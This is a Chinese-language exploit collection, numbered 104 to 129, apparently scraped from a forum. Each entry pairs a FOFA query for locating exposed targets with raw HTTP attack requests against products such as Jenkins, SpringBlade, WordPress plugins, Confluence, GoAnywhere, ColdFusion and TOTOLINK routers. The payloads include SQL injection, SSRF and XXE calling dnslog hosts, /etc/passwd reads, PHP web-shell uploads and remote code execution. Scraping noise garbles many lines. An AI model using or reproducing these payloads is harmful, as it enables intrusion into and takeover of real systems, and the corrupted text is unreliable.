<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
2 C+ k0 ~. @6 W% W- E: }. cFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
8 l' ^: ?% T6 z* ~* zHost:192.168.0.1
0 x2 A  P6 h! M" ?; @" B( aContent-Length:41
; @2 {, v3 o  R# Q3 CAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
' |: d. O+ |7 ]- B- nContent-Type: application/x-www-form-urlencoded:charset=UTF-8
. g( V% m: {, u- }3 a& C. `0 HOrigin: http://192.168.0.1
1 U% B4 y9 i8 m( LReferer: http://192.168.0.1/advance/index.html?time=1671152380564
0 L* j0 ^. @1 A( s! J8 IAccept-Encoding:gzip,deflate
7 z, A0 T$ A; \" w$ W# p/ sAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
2 k% e4 y  k; T& X2 \"token":""
( N3 w. w3 l% D- r}

, _) Z* L4 J6 R105. SpringBlade v3.2.0 export-user SQL 注入
- s6 q2 t- ~3 q- ZFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
" ]* ~; b: \0 _FOFA：body="Saber 将不能正常工作"
) y0 Y# K( v* {4 @" HGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
: B% v3 d. d1 i/ |4 g( iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# k; V) q* n0 A3 ^: fBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& a3 k2 t2 N% I9 `* F% E0 E
6 }$ m5 I( Y" o% P1 S. S
# N1 V0 @. g$ X: [+ A! O, J107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
0 o  R$ T7 l/ u# F7 c' CGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  V8 u1 a5 q4 G& y5 ~  K0 kBlade-Auth:替换为自己的
- b$ J9 \" A9 x6 M7 d& p3 FConnection: close

8 C8 J. k& U! o; ?! t
' T: x7 m8 g# R" X' X108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
: G& W% r) z/ W" A3 o5 A( c8 O9 LGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
! O5 M" D. e" m" X' C0 kHost: your-ip
Accept: application/json, text/plain, */*
2 k" _8 u. N! X, m2 r! Q$ `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
  O2 o& u' W6 z: RAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
. O0 X" {, H; l. B( [
: V0 U' C1 g5 J0 y* d, W. q
! \( ?# R( F8 Y8 s+ x2 n  y109. Jenkins CLI 任意文件读取
CVE-2024-23897
# |! @6 T- ^& y1 R: }' LFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
5 X9 s* @: b! q  `+ d/ w: `% ~; ?Host:
. M* {1 H- g* xContent-type: application/octet-stream
  R# `+ O! b& d* e6 YSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
) _  `7 }" Y3 G/ R2 ~Side: upload
Connection: keep-alive
Content-Length: 163

% A& Z# ?( s/ \! {$ Kb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
8 y3 t' H5 r/ e6 I- r! p2 e
1 m8 i  V3 @: f+ K1 @  w
3 ~7 q" t' |; a$ z1 O- O7 QPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
/ l* ]$ r# }5 H. ]: i# s  O* ]2 `Content-Type: application/x-www-form-urlencoded
: s  ]/ w4 m( N8 fContent-Length: 0


# `4 G8 z# _9 W, \7 Z; \, ^ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# R! h, e) A9 h- d$ S6 kjava -jar jenkins-cli.jar help
  V# m+ R3 G, x7 ]; S; b' R[COMMAND]
Lists all the available commands or a detailed description of single command.
3 n& m9 ~6 W) v COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


8 X, a4 r; o0 h  [% G4 J110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
4 {; h/ y* L. w8 Z) nConnection: close
) H1 z7 r+ o& p# F5 W( [8 Q/ ZAccept: */*
Accept-Language: en
Accept-Encoding: gzip

. g, V) {4 m4 T$ @6 P
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
5 D: u' \+ x  G* b$ l" F3 IFOFA："wordpress" && body="html5-video-player"
3 H! ~- `- {) K$ G. _& a$ L+ tGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
2 r  s5 {$ \2 |$ [( QConnection: close
5 m4 }) a2 Y+ P8 x* [# n: L" k1 o; zAccept: */*
* p* \9 N1 i8 J( o0 WAccept-Language: en
. F; F8 \( o$ g8 \, a  {9 i" \) IAccept-Encoding: gzip

$ Z. o( \: ]2 @7 H  x2 t9 A
+ m: {. w. Q9 {) Y9 B4 I112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
- ^. b) t4 O' i: b0 G4 R: E* ~1 ]FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
' S7 {  ^. [8 u; E' F- DContent-Type: application/json

0 y) w0 m$ ]6 b3 H0 G4 E{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
$ Q1 F: _8 f5 T2 C/ LCVE-2024-27954
% l) L/ o. E) s/ H0 c( sFOFA："/wp-content/plugins/wp-automatic"
! o/ [7 ?# ^. {( p' d* \GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
  S7 X  D  Y. U" G1 HHost: x.x.x.x
1 ^6 x+ ~0 @: j8 ?# ]User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
% ]0 ?6 k. i# {+ q. T2 B- s5 k, cAccept: */*
" G4 S) K7 t" l( F4 W# W( Q. U  g+ nAccept-Language: en
Accept-Encoding: gzip


: {9 E4 h# |- z  w2 V; K& N114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
2 T; Y) x6 p1 c; G5 [& H3 B* ^GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
3 @/ R- H- J6 o, f; {Host: your-ip
. b: I1 S: p/ y' I: X# {User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
7 S- T1 |2 G9 X+ _6 A  MAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
& Y( C% \" \9 S' R* iConnection: close

! F2 W8 [% ]- N. F' }
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
! C( X9 u2 ^# E; w' }第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
; e; Q, b* P* \' e: @) J( rUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
1 j# i2 n9 j# E3 M/ wConnection: close
Accept-Encoding: gzip
2 V1 ~6 a# l* S/ u
* g' L! s  z- {0 R9 t! A7 G8 N3 \
4 @% H/ G8 ?# c% Y( R0 D9 w第二步替换nonce值，执行命令
5 \) N$ K2 |7 F! T) I( J9 r& z1 `POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
0 ?, q# b' |, i! [: uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
6 t( U+ M: X6 I3 }Content-Length: 356
. g0 \1 _+ Y7 b$ j. _& m: ~Content-Type: application/json
% @0 Y0 ^7 \! k6 @! K1 DAccept-Encoding: gzip

% V* |: H$ N, X0 o4 D{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
" U: W) t4 q( U7 a    "name": "container",
: W! K# W, ~) R# ^7 u    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
- k( X; f1 n4 z+ J1 M        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
}
5 F1 j) }' ~6 |, \5 Z8 L8 f

116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
- |) v1 r' H& m5 C; J. W9 k9 \POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
# p( d1 F. s$ V' a9 m2 P# `- y  z% e: tContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
% X- K1 {( p! y- o* w6 k; X----------767099171
Content-Disposition: form-data; name="form_request"
% x7 O4 P" E' f; D7 fjssupportticket
: S" _$ o- V  z----------767099171
5 @% Z- S/ a9 D2 m- wContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
, K; |  x; j1 N1 Y& x$ e+ T/ a----------767099171--
( r/ A" L. K. t$ c  _6 ^! E  ]; a

! i* K+ |' b" W, a117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
% M8 T# B0 }7 _6 X: Q/ K9 Z/ nGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 F4 K  Q% Z8 F9 ]* {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 e# }! N* q# ~6 p- b8 p# m' RAccept-Encoding: gzip, deflate, br
5 e# v$ g3 [& y- Y  J  GConnection: close
Upgrade-Insecure-Requests: 1

6 Y/ }& {- C& D. ~7 o
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
, e+ A' t  o# UCVE-2024-0939
9 P, |# ^3 g- O& oFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
& ~" K4 g4 w5 ~* @/ v( L+ gHost: 192.168.40.130:8443
$ r: J, @' a& K$ mCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 o- ?* c7 q: u0 r4 P6 mContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
- x! D* L3 M$ m2 WContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
+ H8 m& p$ i2 CSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
& B! n- s4 V! q( F4 A( F6 tSec-Fetch-Site: same-origin
* }" t" T, ]  ^! H3 H4 bSec-Fetch-User: ?1
Te: trailers
Connection: close
  X! O" {! T* e! U) V
0 i) q( X1 ?- R3 _( _7 x" w-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
( N4 a$ b  Q, g: |% z, C% i! uContent-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
6 S2 `* ^9 [! ?$ {2 Q# e+ t-----------------------------13979701222747646634037182887--
# M/ N/ B! ]1 i1 V; N% |
$ Y% l  R) h7 K* J
访问/home/src.php

# A$ x5 y" }' T3 D2 J' A+ I8 |119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
4 v6 x% C+ a7 P7 mFOFA：title="Smart管理平台"
, M* Z: i+ E# ]先登录进入系统，默认账号密码为admin/admin
3 a; Z' I6 a/ s2 t5 @8 Z) |POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
7 M) ^, t+ ]2 k! `4 N/ |1 GCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
. }; Y" o* _! t* }5 k4 TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
1 A/ G! N- P, D. `5 ]Content-Type: application/x-www-form-urlencoded;
- a. ?9 r" q; g: b7 ZContent-Length: 109
& b' }  J2 [3 ^" t, Z: W* W. POrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
6 b' t1 a. z& cSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
& g# M* k: G+ |5 @$ e9 yX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
8 r! L( s& M6 y" _0 a5 j! p8 eX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
* N/ w6 J+ g) V6 W/ H, H/ UConnection: close

( \/ B" m0 ?( |9 ~0 p5 h0 zsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
' D. j' ]9 M9 G& CCVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
* n& J8 c! K2 R& s  u4 g7 b: x+ fCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
9 f% e) W+ f$ W$ Y0 ~# h5 t; JUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
& v$ A" l: q# R& F6 \6 @( T  z' CContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
* H/ b! W  `. N! m6 {3 aContent-Length: 597
Origin: https://ip:port
1 E. f! c$ G) k! z; F/ {( X+ DReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
( D/ `9 A! V6 FSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
2 l  u& {0 B# j. B& u: n& v; B" @Te: trailers
Connection: close

2 f2 E; H' k, n9 Y8 N% \. n9 {-----------------------------42328904123665875270630079328
8 I* U: [5 E" ~8 v9 @/ pContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

* F( e7 {, p% |  ^<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
8 C4 T2 q& j* l/ U7 s3 s
) a  i& R$ }, w' X9 [8 W* Z1
; g3 D. m+ H/ x$ e9 F-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
, w' q* O0 E; H* ]. A  S
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

  r' @; D9 k$ Z" B+ jimport
-----------------------------42328904123665875270630079328


) F9 m6 p% R2 [7 B文件路径/upload/2.php

' e* q: M9 |3 p5 A* M0 r' T) r3 E121. 北京百绰智能S42管理平台userattestation.php任意文件上传
5 Y9 Z. }% h. x( TCVE-2024-1918
4 Y- ~; {& f6 T/ X( C6 ?FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. l3 e; e/ H) {8 }7 E: e1 D% IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
5 N' Y+ u. N! ?7 R3 G: oContent-Length: 592
% J8 ~$ k8 H9 ~* a( ZOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
6 _8 l7 G" D+ C& g* {& }( s9 BSec-Fetch-User: ?1
! p, y9 C% c7 YTe: trailers
( W2 N8 {' d; h7 F* T* I$ i: dConnection: close
% P  R- _* M1 I* E1 L
# v0 p9 K' }4 e4 Z; @: p-----------------------------42328904123665875270630079328
8 F8 u- I0 v  x& B" c/ {/ {6 ^1 l& lContent-Disposition: form-data; name="web_img"; filename="1.php"
$ ^7 T* x# G. w# z; w8 i# ^& FContent-Type: application/octet-stream
; B- V+ b. ~4 V
$ b* P4 z9 O. T. P  @* ]<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
2 j2 t2 o. e, r1 b
# H2 q3 T2 D. F* R+ V& _; \0 e% H1
, E7 ]) G  h. I1 G-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
& U3 c, k/ e6 U6 L/ m$ a
set
-----------------------------42328904123665875270630079328

0 M5 x3 m1 |( p4 K! l
8 }/ F6 k& K6 e9 t2 a3 z3 b  p; H$ Wboot/web/upload/weblogo/1.php

" Y' [+ ~6 B% Z) g6 {3 t122. 北京百绰智能s200管理平台/importexport.php sql注入
1 q$ `5 g5 V3 s) E' ^; dCVE-2024-27718FOFA：title="Smart管理平台"
* O" A; O/ Z; b6 q. l1 x6 M其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
: ]  S# T+ X# o) YCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
7 o+ f( k6 e( q" r: y6 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 ?/ f' c( C9 `1 Z6 f1 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
3 L% ~1 L) Q% [2 Y& e1 DSec-Fetch-Mode: navigate
% n( x; @7 z5 x1 u; A- `Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close


6 C8 g8 _" h$ Z5 m/ g123. Atlassian Confluence 模板注入代码执行
/ m* h! ^/ A# J3 r( [7 \. nFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
5 ~6 A, H- |8 H3 v; p# CHost: localhost:8090
Accept-Encoding: gzip, deflate, br
$ |( n8 H% ]- d5 o" i- DAccept: */*
% ]; E2 A  S, |7 K* EAccept-Language: en-US;q=0.9,en;q=0.8
: u% A8 s$ [3 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
5 X1 B4 Z; I5 t7 T) z3 z$ d& BContent-Type: application/x-www-form-urlencoded
- L7 Q! e/ M4 {6 W; \; q' o3 W0 s
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
- N7 Z: }2 ?6 Q- |

1 b; ^4 S1 a8 ?2 c$ @( C0 `124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
7 ^& h$ u% ]& G2 p/ XPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
1 o8 e' r. o+ i1 h6 @User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
! R1 [0 o6 F6 p; Y1 @Content-Type: application/x-www-form-urlencoded
* L8 O' A, C& O) X: {
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

5 V  P3 \4 C1 t' K$ c4 O
6 a, ^' g% N; x4 Thttp://192.168.40.130:8282/Scripts/abcgcg.aspx
5 s# |; o0 I5 m; K- D- `& z9 C2 C; Q
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
7 T$ H; q  X: x9 T9 P( \$ b9 [2 w3 TFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
/ G$ B- z4 K0 g
" O/ ?, r5 [2 B" O
& l- i9 _; q( g* @3 v) P3 e使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
7 t; P" a' W0 x" G4 H! z

& V5 \0 G& g* W; m. n/ I* c创建好用户后直接登录后台，可以执行系统命令。
$ |8 B; S, b( Q7 \5 m8 t
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
1 X' a2 D2 U% B- u( `: O/ M( EGET /static/../../../../../etc/passwd HTTP/1.1
: y& m- v9 H5 ^  {  H' I3 E! PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
" U; ?: L1 K' T( iAccept-Encoding: gzip
+ C6 x% j' A7 N- @3 O' Y
" }4 F* o3 H5 m+ ?7 i& M# w
127. 广联达Linkworks DataExchange.ashx XXE
  T' K& ^+ b# V6 ^. @6 ^. M* F3 LFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
; i, r9 u' e5 ?Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! `4 V( G  a2 y$ |4 b& AAccept-Language: zh-CN,zh;q=0.9
! l! C( m2 U% iConnection: close
2 D  F: c8 Z9 ]" N9 J) J% o6 AContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
( q- _" B! O+ Q% YSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
/ q% {3 x- d" g7 qContent-Disposition: form-data;name="SystemName"

1 b4 p4 ^# G: [( M7 O$ YBIM
* `( i! u( w; t! y, }' J------WebKitFormBoundaryJGgV5l5ta05yAIe0
6 g# Q6 z' n; b& u$ d* MContent-Disposition: form-data;name="Params"
0 H- V. }- C2 R7 DContent-Type: text/plain

4 ?% X1 |- q' Y$ g& Z- j<?xml version="1.0" encoding="UTF-8"?>
. |( D( ^& L5 i' W7 y' f- P( U1 q<!DOCTYPE test [
4 m" l" |+ o$ g4 S<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
4 L- w1 X/ K( p( {) V>
% h/ p) p1 I: ?/ A<test>&t;</test>
  C% G) ]* p. g% j( K& E------WebKitFormBoundaryJGgV5l5ta05yAIe0--


- C$ L! K7 P8 j- ~9 _
  ?/ R1 {- x7 }: F$ V- p128. Adobe ColdFusion 反序列化
, G" A0 T3 {& SCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
5 }( \) t0 m0 O6 _! y; R2 UFOFA：app="Adobe-ColdFusion"
PAYLOAD

3 X  G, |; T' J129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
. {1 Z4 h9 J; e) d3 cFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
$ U6 J/ t) y4 M, B2 T. ~; W第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
, b* ^- ]% \; |! w# B3 A. [/ LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
9 J; E# b) e9 Y( `# E9 ZConnection: close
; \9 N8 c; O* ]# p, s: d

. _' ~5 c. X! {% g第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
5 E9 v! \5 A6 T% _, b9 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
& i/ @5 ~4 \0 d* ?, W' i+ UAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
